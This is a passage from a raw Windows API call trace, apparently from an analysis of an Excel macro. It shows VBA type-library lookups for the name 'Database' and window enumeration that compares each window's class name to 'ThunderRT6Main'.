lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0140.626] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb2ef4b0 [0140.626] strncpy_s (in: _Dst=0xb2ef4b0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0140.626] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0140.626] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0140.626] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0140.626] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0140.626] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0140.626] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0140.626] IUnknown:Release (This=0xb1d1380) returned 0xb [0140.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2ef4b0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0140.627] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0140.627] IUnknown:Release (This=0xb1d1380) returned 0xa [0140.627] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0140.627] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0140.627] IUnknown:Release (This=0xb1d0570) returned 0x12 [0140.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2ef4b0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0140.627] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0140.627] IUnknown:Release (This=0xb1d0570) returned 0x11 [0140.627] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0140.627] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0140.627] IUnknown:Release (This=0xb1d1920) returned 0x6 [0140.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2ef4b0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0140.627] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0140.627] IUnknown:Release (This=0xb1d1920) returned 0x5 [0140.627] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0140.628] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0140.628] IUnknown:Release (This=0x6fed890) returned 0x4 [0140.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2ef4b0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0140.628] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0140.628] IUnknown:Release (This=0x6fed890) returned 0x3 [0140.628] IMalloc:Free (This=0x7feffc15380, pv=0xb2ef4b0) [0140.628] GetCurrentThreadId () returned 0x92c [0140.628] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0140.628] GetDesktopWindow () returned 0x10010 [0140.628] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140 [0140.628] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0140.628] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0140.628] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0140.628] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0140.628] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.628] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.628] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0140.628] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0140.628] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0140.628] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0140.628] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0140.628] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0140.628] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.628] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.628] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.628] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0140.628] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.628] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.628] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.628] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0140.629] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.629] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.629] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.629] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0140.629] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.629] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.629] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.629] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070 [0140.629] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.629] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.629] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.629] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c [0140.629] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.629] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.629] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.629] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0140.629] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.629] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.629] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.629] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0140.629] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.629] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.629] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.629] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0140.629] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.629] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.629] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.629] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0140.629] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.629] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.629] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.629] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0140.629] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0140.629] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0140.629] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.629] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0140.630] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.630] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.630] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.630] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0140.630] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0140.630] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0140.630] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.630] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0140.630] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0140.630] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0140.630] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.630] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0140.630] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.630] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.630] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0140.630] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0140.630] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.630] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.630] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.630] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0140.630] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0140.630] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0140.630] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.630] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0140.630] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0140.630] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0140.630] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0140.630] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226 [0140.630] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0140.630] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0140.630] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.630] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056 [0140.630] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0140.630] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0140.630] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a6 [0140.630] GetClassNameA (in: hWnd=0x201a6, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.630] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.630] GetWindowThreadProcessId (in: hWnd=0x201a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.630] GetWindowLongA (hWnd=0x201a6, nIndex=-16) returned -1946157056 [0140.630] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0140.630] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0140.630] GetWindow (hWnd=0x201a6, uCmd=0x2) returned 0x202d2 [0140.630] GetClassNameA (in: hWnd=0x202d2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0140.630] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0140.630] GetWindowThreadProcessId (in: hWnd=0x202d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.631] GetWindowLongA (hWnd=0x202d2, nIndex=-16) returned 382664704 [0140.631] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0140.631] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0140.631] GetWindow (hWnd=0x202d2, uCmd=0x2) returned 0x30232 [0140.631] GetClassNameA (in: hWnd=0x30232, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.631] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.631] GetWindowThreadProcessId (in: hWnd=0x30232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.631] GetWindowLongA (hWnd=0x30232, nIndex=-16) returned -1778384896 [0140.631] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0140.631] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0140.631] GetWindow (hWnd=0x30232, uCmd=0x2) returned 0x40234 [0140.631] GetClassNameA (in: hWnd=0x40234, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.631] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.631] GetWindowThreadProcessId (in: hWnd=0x40234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.631] GetWindowLongA (hWnd=0x40234, nIndex=-16) returned -1778384896 [0140.631] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0140.631] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0140.631] GetWindow (hWnd=0x40234, uCmd=0x2) returned 0x2027a [0140.631] GetClassNameA (in: hWnd=0x2027a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.631] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.631] GetWindowThreadProcessId (in: hWnd=0x2027a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.631] GetWindowLongA (hWnd=0x2027a, nIndex=-16) returned -1778384896 [0140.631] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0140.631] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0140.631] GetWindow (hWnd=0x2027a, uCmd=0x2) returned 0x20278 [0140.631] GetClassNameA (in: hWnd=0x20278, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.631] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.631] GetWindowThreadProcessId (in: hWnd=0x20278, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.631] GetWindowLongA (hWnd=0x20278, nIndex=-16) returned -1778384896 [0140.631] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0140.631] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0140.631] GetWindow (hWnd=0x20278, uCmd=0x2) returned 0x202c2 [0140.631] GetClassNameA (in: hWnd=0x202c2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0140.631] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0140.631] GetWindowThreadProcessId (in: hWnd=0x202c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.631] GetWindowLongA (hWnd=0x202c2, nIndex=-16) returned 1149272145 [0140.631] GetWindow (hWnd=0x202c2, uCmd=0x2) returned 0x202cc [0140.631] GetClassNameA (in: hWnd=0x202cc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0140.631] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0140.631] GetWindowThreadProcessId (in: hWnd=0x202cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.631] GetWindowLongA (hWnd=0x202cc, nIndex=-16) returned -2080374784 [0140.631] GetWindowLongPtrA (hWnd=0x202cc, nIndex=-6) returned 0x7fee5a60000 [0140.631] IsWindowEnabled (hWnd=0x202cc) returned 1 [0140.631] GetPropA (hWnd=0x202cc, lpString=0xc113) returned 0x0 [0140.631] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0140.631] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0140.632] GetWindow (hWnd=0x202cc, uCmd=0x2) returned 0x2025c [0140.632] GetClassNameA (in: hWnd=0x2025c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0140.632] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0140.632] GetWindowThreadProcessId (in: hWnd=0x2025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.632] GetWindowLongA (hWnd=0x2025c, nIndex=-16) returned 1149272145 [0140.632] GetWindow (hWnd=0x2025c, uCmd=0x2) returned 0x101e0 [0140.632] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0140.632] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0140.632] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.632] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 382664704 [0140.632] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0140.632] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0140.632] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a [0140.632] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.632] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.632] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.632] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896 [0140.632] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0140.632] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0140.632] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c [0140.632] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.632] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.632] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.632] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896 [0140.632] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0140.632] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0140.632] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0140.632] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.632] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.632] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.632] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896 [0140.632] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0140.632] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0140.632] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210 [0140.632] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.632] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.632] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.632] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896 [0140.632] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0140.632] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0140.632] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x102a2 [0140.632] GetClassNameA (in: hWnd=0x102a2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.632] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.632] GetWindowThreadProcessId (in: hWnd=0x102a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa74 [0140.632] GetWindow (hWnd=0x102a2, uCmd=0x2) returned 0x2023e [0140.632] GetClassNameA (in: hWnd=0x2023e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0140.632] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0140.632] GetWindowThreadProcessId (in: hWnd=0x2023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.632] GetWindowLongA (hWnd=0x2023e, nIndex=-16) returned 213909504 [0140.633] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0140.633] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0140.633] GetWindow (hWnd=0x2023e, uCmd=0x2) returned 0x20214 [0140.633] GetClassNameA (in: hWnd=0x20214, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0140.633] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0140.633] GetWindowThreadProcessId (in: hWnd=0x20214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.633] GetWindowLongA (hWnd=0x20214, nIndex=-16) returned -2080374784 [0140.633] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0140.633] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0140.633] GetWindow (hWnd=0x20214, uCmd=0x2) returned 0x101de [0140.633] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.633] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.633] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.633] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352 [0140.633] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0140.633] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0140.633] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc [0140.633] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.633] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.633] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0140.633] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352 [0140.633] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0140.633] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0140.633] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da [0140.633] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.633] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.633] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: 